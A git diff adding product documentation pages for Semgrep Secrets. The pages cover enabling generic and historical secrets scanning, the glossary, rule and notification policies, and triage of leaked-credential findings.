+Like Semgrep Secrets, which scans for specific secrets, **Generic secrets AI** scans your code for the inadvertent inclusion of credentials, such as API keys, passwords, and access tokens using rules. However, AI-powered generic secrets detection looks for common keywords, such as auth, key, or passwords, and flags anything nearby that appears to be a secret. It then analyzes the results to eliminate false positives, so you only see high-signal results likely to be true positives.
+
+## Prerequisites
+
+To scan your code for generic secrets, you must have the following:
+
+- Access to [Semgrep Secrets](/semgrep-secrets/getting-started).
+- [Semgrep Multimodal](/semgrep-multimodal/getting-started) enabled.
+- Semgrep CLI version `1.86.0` or higher running in your CI environment.
+
+Generic secrets does *not* work with local scans initiated by running the `semgrep ci` command, because Semgrep Multimodal requires code access.
+
+## Enable generic secrets
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to **Settings > General > Secrets**.
+
+
+Click the **Generic secrets** toggle to turn on generic secrets.
+
+
+
+Once you have enabled generic secrets, your subsequent Semgrep Secrets scans automatically run with generic secrets rules. You can confirm that this is the case by looking for the following confirmation message in the CLI output:
+
+```console
+SECRETS RULES
+-------------
+AI augmented rules are active for secrets detection.
+```
+
+If there are findings, Semgrep returns the following CLI message:
+
+```console
+Your deployment has generic secrets enabled. X potential line locations
+will be uploaded to the Semgrep platform and then analyzed by Semgrep Multimodal.
+Any findings that appear actionable will be available in the Semgrep Platform.
+You can view the secrets analyzed by Multimodal at URL
+```
+
+## View findings
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to [**Secrets**](https://semgrep.dev/orgs/-/secrets) to see a list of all findings identified by Semgrep Secrets.
+
+
+Expand the **Additional filters** menu, then select Secret **type > Generic Secrets** to filter for generic secrets findings.
+
+
+
+
+## Disable generic secrets
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to **Settings > Deployment** and navigate to the **Secrets** section.
+
+
+Click the **Generic secrets** toggle to turn off generic secrets.
+
+
+
+Once disabled, all of your generic secrets findings will be removed from Semgrep AppSec Platform after the following scan.
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-secrets/getting-started.mdx b/mintlify-docs/semgrep-secrets/getting-started.mdx
new file mode 100644
index 0000000000..101e43365d
--- /dev/null
+++ b/mintlify-docs/semgrep-secrets/getting-started.mdx
@@ -0,0 +1,101 @@
+---
+title: "Scan for secrets"
+description: "Semgrep Secrets allows you to detect and triage leaked secrets and credentials and save time by prioritizing which secrets to rotate based on whether they're active and in use."
+---
+
+This document guides you through:
+
+1. Enabling Semgrep Secrets and scanning your repository
+2. Configuring your ignore files
+3. Upgrading your Semgrep Code rules to Semgrep Secrets rules
+
+
+**INFO**
+
+[Contact sales](mailto:sales@semgrep.com) for a trial license of Semgrep Secrets.
+
+
+## Language and environment support
+
+Semgrep Secrets can scan repositories using **any programming language** and supports the posting of pull request (PR) and merge request (MR) comments to GitHub, GitLab, and Bitbucket.
+
+## Enable Semgrep Secrets
+
+
+**PREREQUISITE**
+
+You have completed a [Semgrep core deployment](/deployment/core-deployment).
+
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to **Settings > General > Secrets**.
+
+
+Click the **Secrets scans** toggle to enable Semgrep Secrets.
+
+
+
+## Scan your repository
+
+Once you've enabled Secrets for your organization, all Semgrep scans include secret scanning. You can:
+
+* Manually trigger a full scan of your repository through your CI provider
+* Start a scan from the CLI (Semgrep recommends that you run CLI scans only on feature branches, not main branches)
+* Wait for your scheduled Semgrep full scan
+* Open a pull request or merge request and wait for Semgrep to scan the branch automatically
+
+## Configure files to ignore
+
+Semgrep Secrets scans all files, even those specified in a local `.semgrepignore` file, since secrets can often be found in files that aren't relevant for code scanning. To specify files that Semgrep Secrets should ignore:
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+From the **Navigation bar**, select **[Projects](https://semgrep.dev/orgs/-/projects)**.
+
+
+Find your project, then click **Details**.
+
+
+Go to **Settings > Path ignores**.
+
+
+Enter files and folders to ignore in the **Path Ignores** for Secrets box.
+
+
+Click **Save changes**.
+
+
+
+## Upgrade your rules
+
+If you're using Semgrep Code rules to identify leaked credentials, you'll see prompts in Semgrep AppSec Platform indicating that there's an improved version that uses Semgrep Secrets' feature set, primarily its validators, which can validate whether the detected credential is active, and improvements in detecting and hiding false positives.
+
+You can see individual findings for which there is a Semgrep Secrets rule upgrade in Semgrep AppSec Platform's **Findings** page. The findings are tagged with a label that says `Secrets version available! Click to see rule(s)`.
+
+To see the rules you're using for which there is a Secrets rule upgrade in Semgrep AppSec Platform:
+
+
+
+Sign in to Semgrep AppSec Platform.
+
+
+Go to **Rules & Policies > Policies > Code**.
+
+
+Under **Available rule upgrades**, select **Secrets**.
+
+
+
+## Next steps
+
+* [Scan your Git history](/semgrep-secrets/historical-scanning) for secrets and [scan for generic secrets](/semgrep-secrets/generic-secrets).
+* Learn how to [view your findings in Semgrep AppSec Platform](/semgrep-secrets/findings).
+* Learn more about the [structure of rules for Semgrep Secrets](/semgrep-secrets/rules), as well as how to [manage your rules using Semgrep AppSec Platform](/semgrep-secrets/policies).
+* Learn how to [write custom validators](/semgrep-secrets/validators) for your Semgrep Secrets rules.
diff --git a/mintlify-docs/semgrep-secrets/glossary.mdx b/mintlify-docs/semgrep-secrets/glossary.mdx
new file mode 100644
index 0000000000..4ffa1be638
--- /dev/null
+++ b/mintlify-docs/semgrep-secrets/glossary.mdx
@@ -0,0 +1,84 @@
+---
+title: "Semgrep Secrets glossary"
+sidebarTitle: "Glossary"
+description: "The terms and definitions provided here are specific to Semgrep Secrets."
+---
+
+## Entropy analysis
+
+Entropy, the measure of a string's randomness, measures how likely it is that a given string is random. If a string is highly entropic, it's highly random. Entropy analysis, therefore, can provide insight into whether a given string is a secret, reducing false positives.
+
+## Expiration
+
+Some secrets are time-limited. This means that the secret is only valid for the period set by the creator. Expired secrets can pose fewer problems, so findings involving expired secrets can be deprioritized.
+
+## Historical scan
+
+A scan of your Git commit history to see if there are valid secrets publicly available in your repository's Git history.
+
+## Policy
+
+A policy defines the set of rules that Semgrep runs and the workflow actions it undertakes when a rule from the policy generates a finding. The workflow action performed by Semgrep when it detects a finding can include notifying Slack channels or posting a comment in the pull request or merge request that generated the finding.
+
+Not to be confused with **policy-as-code**.
+
+## Registry (Semgrep Registry)
+
+A [collection of rules](https://semgrep.dev/r) that you can download. Semgrep offers a [Secrets-specific ruleset](https://semgrep.dev/p/secrets).
+
+### Sources of rules
+
+The Semgrep Registry contains rules imported from various repositories, including non-Semgrep individuals or groups, such as Trail of Bits and GitLab. You can view a rule's `license` key to ensure the license meets your needs.
+
+## Revocation
+
+Revoking a secret makes it inactive. This is done when a secret isn't required anymore or if a secret becomes compromised.
+
+## Rotation
+
+Rotating secrets is the process of updating a secret regularly. If a secret is leaked, regular rotation can ensure that the credential is valid only for a limited time. Rotating secrets can also minimize risk due to the reuse of secrets.
+
+## Ruleset
+
+Rulesets are rules related through a programming language, OWASP category, or framework. Rulesets are curated by the team at Semgrep and updated as new rules are added to the Semgrep Registry.
+
+## Scan target
+
+A scan target is any file, or collection of files and directories that Semgrep can scan. While Semgrep can scan **any** text file through `generic` mode, Semgrep primarily scans the following:
+
+### Codebase
+
+Any code files within a specified directory and its subdirectories.
+
+### Project
+
+A repository or codebase that you have added to Semgrep Cloud Platform for scanning along with finding metadata and other Semgrep data and resources.
+
+### Repository
+
+A location, typically remote, for source code, including metadata relating to the source code. Semgrep supports Git repositories.
+
+## Secret
+
+Secrets are pieces of sensitive information crucial for securing applications and their data. This information can include API keys, access credentials, SSH keys, certificates, and more. If secrets are stored in source code, they can be "leaked," allowing internal and external malicious actors to use this information for unauthorized access.
+
+## Semantic analysis
+
+Semantic analysis refers to Semgrep Secrets' ability to understand how data is used in your code. Semgrep Secrets uses several mechanisms to perform semantic analysis, including [ dataflow analysis](/writing-rules/data-flow/data-flow-overview) and [ constant propagation](/writing-rules/data-flow/constant-propagation), allowing Secrets to track data, such as variables, and the flow of that data across files and functions in your codebase.
+
+## Validation state
+
+The validation state of a secret provides information on whether a secret, if leaked, poses an immediate security threat. Current Semgrep validation states for a secret include:
+
+- **Confirmed valid:** Semgrep made an HTTP request using the secret, and it returned an HTTP status code of 200 or similar **and** some indication of valid access. For example, a service can include a `"message": "ok"` in the response body.
+- **Confirmed invalid:** Semgrep made an HTTP request using the secret and it returned an HTTP status code of 401 or similar.
+- **Validation error:** Semgrep made an HTTP request using the secret, but either the network request could not be made, a timeout occurred, or the HTTP status code returned a different HTTP status code. In this case, the Semgrep Team recommends manually reviewing the finding.
+- **No Validator:** The rule does not have a validator. The Semgrep Team recommends manually reviewing the finding.
+
+## Validator
+
+Semgrep Secrets rules include validators, which help determine if a secret is actively used. Validators define behavior, such as API calls, that determine whether an identified secret is valid and whether it can be successfully used to access a resource.
+
+## Vault
+
+A secure, centralized storage solution for your sensitive data, including access tokens, API keys, certificates, passwords, and more. A secrets vault can make it easier to store your data securely and allows you to control who accesses the data. The vault may also offer features like auditing, such as who accesses what secret and when or when a secret expires, and rotation of secrets.
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-secrets/historical-scanning.mdx b/mintlify-docs/semgrep-secrets/historical-scanning.mdx
new file mode 100644
index 0000000000..5576ac70d4
--- /dev/null
+++ b/mintlify-docs/semgrep-secrets/historical-scanning.mdx
@@ -0,0 +1,137 @@
+---
+title: "Scan your Git history (beta)"
+---
+
+
+Historical scans allow you to detect valid, leaked secrets in your Git history, helping you reduce your repository's attack surface.
+
+## Feature maturity
+
+- This feature is currently in beta. See [Limitations](#limitations) for more information.
+- All Semgrep Secrets customers can enable this feature.
+- Only rules that perform HTTP validation are incorporated during historical scanning. Findings that have been verified as valid are surfaced.
+
+Please leave feedback either by reaching out to your technical account manager (TAM) or through the ** Feedback** form in Semgrep AppSec Platform's navigation bar.
+
+## Prerequisites
+
+Historical scanning requires Semgrep **v1.65.0** or later.
+
+## Scope of findings
+
+- Historical scans display **valid** Secrets findings. These secrets have been [validated through authentication or a similar function](/semgrep-secrets/conceptual-overview/#validate-secrets).
+- Historical scans do **not** display the following finding types:
+ - Invalid Secrets findings
+ - Secrets findings without validator functions
+ - Secrets findings with validation errors
+- Findings from historical scans are generated through **Generic** (regex-based) rules only. To view these rules:
+ - Navigate to **[ Semgrep AppSec Platform > Rules & Policies > Secrets](https://semgrep.dev/orgs/-/policies/secrets?analysis-method=generic)**.
+ - Go to Validation state policies > Global rule behavior. Click **Edit**.
+ - In the filter bar, click **Generic** under **Analysis method**.
+
+For more information on the types of findings by validation, see [Semgrep Secrets overview](/semgrep-secrets/conceptual-overview/#validate-secrets).
+
+## Enable historical scans for full Secrets scans
+
+You can enable historical scans for your full scans, perform one-time historical scans using the Semgrep CLI, or create an on-demand CI job. Then, track and triage these findings in Semgrep AppSec Platform. Historical scans display **valid, leaked secrets** to ensure a high true positive rate. Diff-aware scans do **not** perform historical scans.
+
+
+**TIP**
+
+[Test historical scans locally](#run-a-local-test-scan) to create a benchmark of performance and scan times before adding historical scans to your formal security process.
+
+
+To enable historical scanning:
+
+
+
+Sign in to Semgrep AppSec Platform.
+
+
+Go to **Settings > General > Secrets**.
+
+
+Click the ** Historical scanning** toggle.
+
+
+
+Subsequent Semgrep full scans now include historical scanning.
+
+### Run a one-off historical scan
+
+To run a one-off or on-demand historical scan, you can create a specific CI job and then manually start the job as needed. The general steps are:
+
+
+
+Copy your current full scan CI job configuration file, or use [a template](/semgrep-ci/sample-ci-configs/).
+
+
+Append the `--historical-secrets` flag to the `semgrep ci` command:
+```bash
+semgrep ci --historical-secrets
+```
+
+
+Depending on your CI provider, you may have to perform additional steps to enable the job to run manually. For example, GitHub Actions requires the `workflow_dispatch` event to be added to your CI job.
+
+
+
+### Run a local test scan
+
+You can run a historical scan locally without sending the scan results to Semgrep AppSec Platform. This can help you determine the time it takes for Semgrep Secrets to run on your repository's Git commit history.
+
+To run a test scan, enter the following command:
+
+```bash
+semgrep ci --secrets --historical-secrets --dry-run
+```
+
+The historical scan results appear in the **Secrets Historical Scan** section of the CLI output.
+
+## Triage process
+
+%%Historical scan|historical_scan%% findings are not automatically marked as **Fixed**. To triage a historical finding, you must:
+
+
+
+Manually rotate the secret.
+
+
+In Semgrep AppSec Platform, click **Secrets**.
+
+
+Select the checkboxes for all of the historical secrets that you want to triage, then click **Triage > Ignored**.
+
+
+Provide a **Comment** about why you're changing the status to **Ignored**, then click **Submit**.
+
+
+
+## Hide historical findings
+
+Semgrep AppSec Platform displays historical findings by default. These findings are flagged as **Historical ** in the findings list. To hide historical findings:
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to [** Secrets**](https://semgrep.dev/orgs/-/secrets).
+
+
+Expand the **Additional filters** menu, then select **Historical findings > Exclude historical** to toggle off the display of historical findings.
+
+
+
+## Limitations
+
+- Historical scanning can slow down scan times. Depending on the size of your repository history, scans can finish in less than 5 minutes or may take more than 60 minutes.
+- Within Semgrep AppSec Platform, historical scan findings are not automatically marked as **Fixed**. Findings can only exist in two states: `Open` or `Ignored`. Because Semgrep scans do not automatically detect historical findings as fixed, you must manually rotate and triage the secret as `Ignored`.
+- With historical scans enabled, the CLI output displays secrets still present in the current version of the code twice: once at the commit where they were initially added and once at the current commit from the standard Secrets scan. Semgrep AppSec Platform deduplicates the two findings and displays the secret as a current rather than a historical one.
+
+### Commit history size
+
+- Semgrep Secrets scans up to **5 GiB** of uncompressed blobs. This ranges from around **10,000 to 50,000** previous commits depending on the average size of the commit.
+- For repositories with more than 5 GiB of history, Semgrep Secrets is still able to complete the scan, but the scan scope will not cover the older commits beyond 5 GiB.
+- The size of the commit history affects the speed of the scan. Larger repositories take longer to complete.
+- Semgrep Secrets scans the whole commit history every time a full scan is run. This guarantees that your Git history is also scanned using the **latest Secrets rules**.
diff --git a/mintlify-docs/semgrep-secrets/policies.mdx b/mintlify-docs/semgrep-secrets/policies.mdx
new file mode 100644
index 0000000000..316cb75fb4
--- /dev/null
+++ b/mintlify-docs/semgrep-secrets/policies.mdx
@@ -0,0 +1,264 @@
+---
+title: "Manage Semgrep Secrets rules using the policies page"
+sidebarTitle: "Manage rules and policies"
+---
+
+To access the policies page for Semgrep Secrets, sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login) and navigate to **Rules & policies > Policies > Secrets**.
+
+## Validation state policies
+
+Validation state policies allow you to define the rules Semgrep Secrets uses to scan your code, how to handle invalid findings, including those that have been revoked or were never functional, and how to handle validation errors when attempting to determine if a secret is a legitimate credential that can be used to access a resource.
+
+Findings in different validation states may also have different severities, based on the risk associated with valid credentials as compared with invalid credentials. See [Secrets findings: severity](/semgrep-secrets/findings#severity) for more detail on this behavior.
+
+### Global rule behavior
+
+The **Global rule behavior** tab allows you to view and manage the rules Semgrep Secrets uses for scanning. This page consists of the following elements:
+
+- The **Filters** pane displays the filters you can use to select and perform operations on rules in bulk. See [Filters](#filters) for more information.
+- The **Rules** pane displays the rules that Semgrep scans use to detect leaked secrets and allows you to edit their assigned rule modes. You can make these edits on individual rules or through the bulk editing of many rules. You can also use the Search for rule names or ids box. See [Rules list](#rules-list) for more information.
+
+#### Filters
+
+The **Filters** pane displays the filters you can use to select and perform operations on rules in bulk.
+
+
+
+
+| **Filter** | **Description** |
+| :--- | :--- |
+| **Modes** | Filter by the workflow action Semgrep performs when a rule detects a finding. An additional filter, **Disabled**, is provided for rules you have turned off and are no longer included for scanning. |
+| **Validation** | Filter by whether the rule includes a validator or not. |
+| **Type** | Filter by the type of secret the rule addresses. Examples: AWS, Adobe, DigitalOcean, GitHub, GitLab. |
+| **Severities** | Filter by the severity level of the secret:
**Low**: low privilege; for example, write-only access like a webhook
**Medium**: may have read and write access depending on what scope the account has
**High** and **Critical**: has access to critical resources or full account access
|
+| **Confidence** | The confidence of the rule to detect true positives. |
+| **Source** | Filter by Pro rules (authored by Semgrep) or by custom rules (rules created by your organization). |
+| **Analysis method** | Filter based on whether Semgrep used **Semantic** or **Generic** analysis. |
+| **Ruleset** | The name of the ruleset the rule belongs to. |
+| **Language** | The project language for which the Secret can be used. |
+
+
+#### Rules list
+
+The following columns appear on the rule entries list:
+
+
+
+
+| **Column** | **Description** |
+| :--- | :--- |
+| **Rule name** | Name of the rule Semgrep Secret uses for scanning. |
+| **Labels** | Metadata describing the rule, including the service for which the rule is applicable. |
+| **Open findings** | The number of open findings the rule detected across all scans. |
+| **Fix rate** | The percentage of findings that are fixed through changes to the code. |
+| **Severity** | The higher the severity, the more critical the issues that a rule detects. |
+| **Confidence** | Indicates confidence of the rule to detect true positives. |
+| **Source** | Indicates the origin of a rule.
**Pro:** Authored by Semgrep.
**Custom:** Rules created within your Semgrep organization.
|
+| **Ruleset** | The name of the ruleset the rule belongs to. |
+| **Mode** | Specifies what workflow action Semgrep performs when a rule detects a finding. An additional filter, **Disabled**, is provided for rules you have turned off and are no longer included for scanning. See [Rule modes](#rule-modes). |
+
+
+#### Rule modes
+
+Semgrep Secrets provides three rule modes. These can be used to trigger **workflow options** whenever Semgrep Secrets identifies a finding based on the rule.
+
+| Rule mode | Description |
+| :--- | :--- |
+| Monitor | Rules in **Monitor mode** display findings only in:
Semgrep AppSec Platform
For Semgrep Code and Supply Chain: User-defined notifications
Set rules to this mode to evaluate their true positive rate and other criteria you may have. By keeping rules in Monitor, developers do not receive potentially noisy findings in their PRs or MRs. |
+| Comment | Rules in **Comment mode** display findings in:
Developers' PRs or MRs
Semgrep AppSec Platform
For Semgrep Code and Supply Chain: User-defined notifications
Set rules that have met your performance criteria to this mode when you are ready to display findings to developers. |
+| Block | Rules in **Block mode** cause the scan job to fail with an exit code of `1` if Semgrep Secrets detects a finding from these rules. You can use this result to enforce a block on the PR or MR. For example, GitHub users can enable branch protection and set the PR to fail if the Semgrep step fails. These rules display findings in:
Developers' PRs or MRs
Semgrep AppSec Platform
For Semgrep Code and Supply Chain: User-defined notifications
These are typically high-confidence, high-severity rules. |
+
+
+#### Manage rules
+
+##### Turn off rules
+
+
+
+In Semgrep AppSec Platform, go to **Rules & policies > Policies > Secrets**.
+
+
+Select either:
+ - The top **Number Matching Rules** checkbox to select all rules.
+ - Individual checkboxes next to rules.
+
+
+Click **Change modes(Number)**, then click **Disabled**.
+
+
+
+You can also select individual rules under the **Mode** column and turn them off individually.
+
+##### Add custom rules
+
+To add custom rules, use the Semgrep Editor. See [ Semgrep Secrets rule structure and sample](/semgrep-secrets/rules).
+
+### Invalid findings
+
+You can define how Semgrep handles findings that it categorizes as invalid. Invalid findings include secrets that, during validation, were identified as revoked or were never functional.
+
+When Semgrep identifies an invalid finding, you can choose to view the finding in Semgrep AppSec Platform, have Semgrep leave a comment in the pull request or merge request, or have the Semgrep scan fail with an exit code of `1`.
+
+See [Rule modes](#rule-modes) for more information on the modes available.
+
+### Validation errors
+
+You can define how Semgrep handles validation errors that occur when there are difficulties reaching the secrets provider or when Semgrep receives an unexpected response from the API.
+
+When Semgrep encounters a validation error, you can choose to view the associated finding in Semgrep AppSec Platform, have Semgrep leave a comment in the pull request or merge request, or have the Semgrep scan fail with an exit code of `1`.
+
+See [Rule modes](#rule-modes) for more information on the modes available.
+
+## Slack notification policies
+
+If you are an **admin** for your Semgrep organization, you can view, create, edit, or delete Slack notification policies. These policies allow you to notify developers of Secrets findings on Slack while managing noise and ensuring that developers are only notified based on the conditions you set. You can configure the following:
+
+- **Scope**: These are the projects (repositories) that are affected by the policy.
+- **Conditions**: The conditions under which **actions** are performed. These conditions are typically attributes of a finding, such as severity or validation.
+- **Actions**: Actions that are performed on the defined scope when conditions are met.
+
+You can create as many policies as necessary.
+
+
+**PREREQUISITES**
+
+This feature requires either the:
+- `semgrep:latest` Docker image
+- Semgrep CLI version 1.101.0 and later
+
+
+### Create a policy
+
+
+
+In Semgrep AppSec Platform, go to **Rules & policies > Policies > Secrets**.
+
+
+Click ** Create policy**.
+
+
+Provide a **Policy name**.
+
+
+Define the **Scope** of the policy:
+
+ i. Click the drop-down box to select between **All Projects**, **Project**, or **Project tag**.
+
+ ii. If you select **Project** or **Project tag**, a second drop-down box appears. Choose the **projects** or **project tags** to finish defining the scope.
+
+
+Define the conditions of the policy. See [Policy conditions](#policy-conditions) for more information. You can create more than one condition by clicking **Add condition**.
+ - For each condition, you can select multiple values by clicking on the **plus sign ()** on the same row. The policy is applied when **any** of those values are met (`OR`).
+ - Each additional condition is additive. The policy is applied when **all** conditions are met (`AND`).
+
+
+Define the actions of the policy, and select which channels should receive notifications when the policy is triggered. This list is populated by the channels you have subscribed to. To change this list, follow the steps listed in [Receive Slack notifications](/semgrep-appsec-platform/slack-notifications#secrets).
+
+
+Click **Create**.
+
+
+Enable the policy by clicking the ** toggle** to enable a policy. This applies the policy to future scans.
+
+
+
+#### Policy scopes
+
+A policy's scope can consist of tags or projects, but not both. If you need to create a policy with both tags and projects, you must make another policy.
+
+If a project or project tag that's included in a policy scope gets deleted, it is **removed from the policy scope**. If all projects or all project tags are deleted for a given policy, you must edit the policy for it to be applied to a valid scope.
+
+#### Policy conditions
+
+The following table lists available conditions and their values:
+
+| Condition | Values|
+| ------- | ------ |
+| Severity |
Critical
High
Medium
Low
|
+| Validation |
Confirmed valid
Confirmed invalid
Validation error
No validator
|
+| Repository |
Public
Private
Unknown
Note: Repository is only available for GitHub repositories. |
+| Secret | Manually provide a Secret or choose from a list of values. The values listed are generated from findings identified by Semgrep Secrets. |
+
+### View your policy
+
+
+
+In Semgrep AppSec Platform, go to **Rules & policies > Policies > Secrets**.
+
+
+Under **Slack notification policies**, click the **name** of your policy or **the three-dot ellipsis () > Edit policy** to see additional details.
+
+
+
+You can also view a dialog showing a policy's **scope**, or the projects and tags affected by the policy, and a summary of its **actions and conditions** by clicking on the two summary links beside the policy name.
+
+### Edit a policy
+
+
+
+Go to [**Rules & Policies > Policies > Secrets**](https://semgrep.dev/orgs/-/policies/secrets), and find the policy you want to edit.
+
+
+Click the **three-dot (...) button > Edit policy** for the policy. This takes you to the policy definition page.
+
+
+Make your changes.
+
+
+Click **Save**.
+
+
+
+### Turn on or off a policy
+
+
+
+Go to [**Rules & Policies > Policies > Secrets**](https://semgrep.dev/orgs/-/policies/secrets), and find the policy you want to turn on or off.
+
+
+Turn off or on the **Enable policy** toggle.
+
+
+Click **Save**.
+
+
+
+### Delete a policy
+
+
+
+Go to [**Rules & Policies > Policies > Secrets**](https://semgrep.dev/orgs/-/policies/secrets), and find the policy you want to delete.
+
+
+Click the **three-dot (...) button > Delete policy**.
+
+
+Click **Remove** to confirm..
+
+
+
+
+**INFO:**
+
+deleting a policy does not remove existing notifications.
+
+
+## Block a pull request or merge request through rule modes
+
+Semgrep enables you to set a **workflow action** based on the presence of a finding. Workflow actions include:
+
+* Failing a CI job. Semgrep returns exit code `1`, and you can use this result to set up additional checks to enforce a block on a pull request (PR) or merge request (MR).
+* Leaving a [PR or MR comment](/category/pr-or-mr-comments).
+* [Notifying select channels](/semgrep-appsec-platform/notifications), such as private Slack channels or webhooks.
+
+You can trigger these actions based on the [rule mode](#rule-modes) set for the rule.
+
+
+
+
+If you're encountering issues getting PR comments for Semgrep Secrets:
+
+* Make sure the rule is in **Comment** or **Block** mode
+* Review the [PR or MR comments guide for your SCM](/category/pr-or-mr-comments)
+* Explore [other reasons you may not see PR or MR comments](/kb/semgrep-appsec-platform/missing-pr-comments)
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-secrets/rules-1.mdx b/mintlify-docs/semgrep-secrets/rules-1.mdx
new file mode 100644
index 0000000000..488120135d
--- /dev/null
+++ b/mintlify-docs/semgrep-secrets/rules-1.mdx
@@ -0,0 +1,9 @@
+---
+title: "Semgrep Secrets rule structure and sample"
+sidebarTitle: "Custom rules"
+description: "This article walks you through writing, publishing, and using Semgrep Secrets rules. It also demonstrates what a sample Semgrep Secrets rule looks like, with subsequent sections describing the key-value pairs in the context of a Semgrep Secrets rule."
+---
+
+import CustomRules from "/snippets/semgrep-secrets/rules.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-secrets/rules.mdx b/mintlify-docs/semgrep-secrets/rules.mdx
new file mode 100644
index 0000000000..488120135d
--- /dev/null
+++ b/mintlify-docs/semgrep-secrets/rules.mdx
@@ -0,0 +1,9 @@
+---
+title: "Semgrep Secrets rule structure and sample"
+sidebarTitle: "Custom rules"
+description: "This article walks you through writing, publishing, and using Semgrep Secrets rules. It also demonstrates what a sample Semgrep Secrets rule looks like, with subsequent sections describing the key-value pairs in the context of a Semgrep Secrets rule."
+---
+
+import CustomRules from "/snippets/semgrep-secrets/rules.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-secrets/triage-remediation.mdx b/mintlify-docs/semgrep-secrets/triage-remediation.mdx
new file mode 100644
index 0000000000..abde824e82
--- /dev/null
+++ b/mintlify-docs/semgrep-secrets/triage-remediation.mdx
@@ -0,0 +1,90 @@
+---
+title: "Triage and remediate findings"
+sidebarTitle: "Triage and remediation"
+description: "This article shows you how to manage and triage the findings identified by Semgrep Secrets using Semgrep AppSec Platform."
+---
+
+
+## Triage findings
+
+You can triage secrets-related findings in Semgrep AppSec Platform on the **Secrets** page. By default, all findings are displayed. A common triage workflow includes the following tasks:
+
+
+
+Filtering for a particular characteristic of a finding, such as its **Validation status**, **Repository or Branch**, or **Type**.
+
+
+Analyzing if the findings are true or false positives.
+
+
+Applying a **triage state** to the filtered findings based on the analysis in step 2.
+
+ i. Setting a finding as **Ignored** means that no action is undertaken and the finding is closed. Subsequent scans won't include this finding.
+
+ ii. Setting or retaining a finding as **Open**, **Reviewing**, or **Fixing** means that the finding is a true positive and needs to be fixed or resolved.
+
+ a. Optional: You can [create a ticket in Jira](/semgrep-appsec-platform/jira) to assign a developer to fix findings.
+
+
+
+When commits are added to the PR or MR, Semgrep re-scans the PR or MR and detects if a finding is fixed, or if the secret is no longer valid. The finding changes status automatically upon scanning. Users do not need to set a finding as **Fixed** manually.
+
+For non-historical secrets, a finding is considered fixed once it no longer appears in the code. However, this does *not* mean the underlying risk is resolved. If the secret has leaked, take the necessary remediation steps even if Semgrep marks the finding as **fixed**.
+
+Findings for historical secrets always remain **Open**, because the secrets are identified after they've been removed from the code and Semgrep cannot determine whether it has been rotated or remediated. After you’ve addressed the issue, you can manually change the status to **Ignored**.
+
+### Review provisionally ignored findings
+
+If you have Semgrep Multimodal enabled, review the findings that have been **provisionally ignored**. These findings indicate that Semgrep has determined the secret to be **invalid**, which means that the secret has been revoked, was never functional, or used for a custom or private endpoint that Semgrep can't communicate with.
+
+Findings with a status of **provisionally ignored** block pull requests and merge requests if the matching rule is included in a blocking policy. You can change the status of provisionally ignored findings to indicate the next steps in the triage process. For instance, you can set the status to **Reviewing** if you decide to manually review the finding.
+
+## Common filtering use cases
+
+You can find and perform bulk operations through filtering; [all filter operations](/semgrep-secrets/findings#filter-findings) are available to you on the **Secrets** page.
+
+| Task | Steps |
+| ---- | ----- |
+| Viewing valid findings | Under **Validation**, click **⚠️Confirmed valid**. |
+| View findings in a specific project or branch |1. Under **Projects**, select a repository from the drop-down menu. 2. Under **Branches**, select a branch from the drop-down menu. |
+| View findings of a specific type of secret, such as **personal token** or **password**. | Under **Type**, select a type of secret.
+| View findings of a specific severity | Under **Severity**, select a value. |
+
+You can triage findings in bulk by performing the following steps:
+
+
+
+Begin by ensuring that you display all **Open** findings.
+
+
+Apply filters with as much specificity as possible. You may have to perform bulk triage several times. By starting with the most specific cases, and closing the findings from those specific cases, you are able to narrow down findings as you work from specific to broad filter criteria.
+
+
+Click the bulk select check box.
+
+
+Click **Triage**, then your selected triage state, such as **Reviewing** or **Ignored**.
+
+
+Optional: Repeat this procedure to triage all open findings.
+
+
+
+## Triage findings through PR and MR comments
+
+In addition to viewing your results in Semgrep AppSec Platform, you can set up PR or MR comments from Semgrep, which allows you to view findings-related information directly in your pull requests and merge requests.
+
+To receive PR or MR comments, ensure that:
+
+* You have set up [comments](/category/pr-or-mr-comments) as part of your core deployment.
+* You have defined which rules and validation states should be in Allow, Comment, or Block mode in the [Policies](/semgrep-secrets/policies) page.
+
+
+**INFO**
+
+Define which rules and validation states should be in Allow, Comment, or Block mode in the [Policies](/semgrep-secrets/policies) page.
+
+
+## Default Secrets page view and branch logic
+
+In Semgrep, a **single** finding may appear in several branches. These appearances are called **instances** of a finding. In Semgrep Secrets, the **latest instance**, or the finding from the most recent branch scanned, is displayed by default. This is because, if a Secrets finding is present in **any branch**, even a non-primary (default) branch, it is considered [valid](/semgrep-secrets/conceptual-overview#validate-secrets).
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-secrets/validators-1.mdx b/mintlify-docs/semgrep-secrets/validators-1.mdx
new file mode 100644
index 0000000000..5791003317
--- /dev/null
+++ b/mintlify-docs/semgrep-secrets/validators-1.mdx
@@ -0,0 +1,8 @@
+---
+title: "Write custom validators"
+sidebarTitle: "Custom validators"
+---
+
+import CustomValidators from "/snippets/semgrep-secrets/validators.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-secrets/validators.mdx b/mintlify-docs/semgrep-secrets/validators.mdx
new file mode 100644
index 0000000000..5791003317
--- /dev/null
+++ b/mintlify-docs/semgrep-secrets/validators.mdx
@@ -0,0 +1,8 @@
+---
+title: "Write custom validators"
+sidebarTitle: "Custom validators"
+---
+
+import CustomValidators from "/snippets/semgrep-secrets/validators.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-supply-chain/advisories.mdx b/mintlify-docs/semgrep-supply-chain/advisories.mdx
new file mode 100644
index 0000000000..4317319850
--- /dev/null
+++ b/mintlify-docs/semgrep-supply-chain/advisories.mdx
@@ -0,0 +1,69 @@
+---
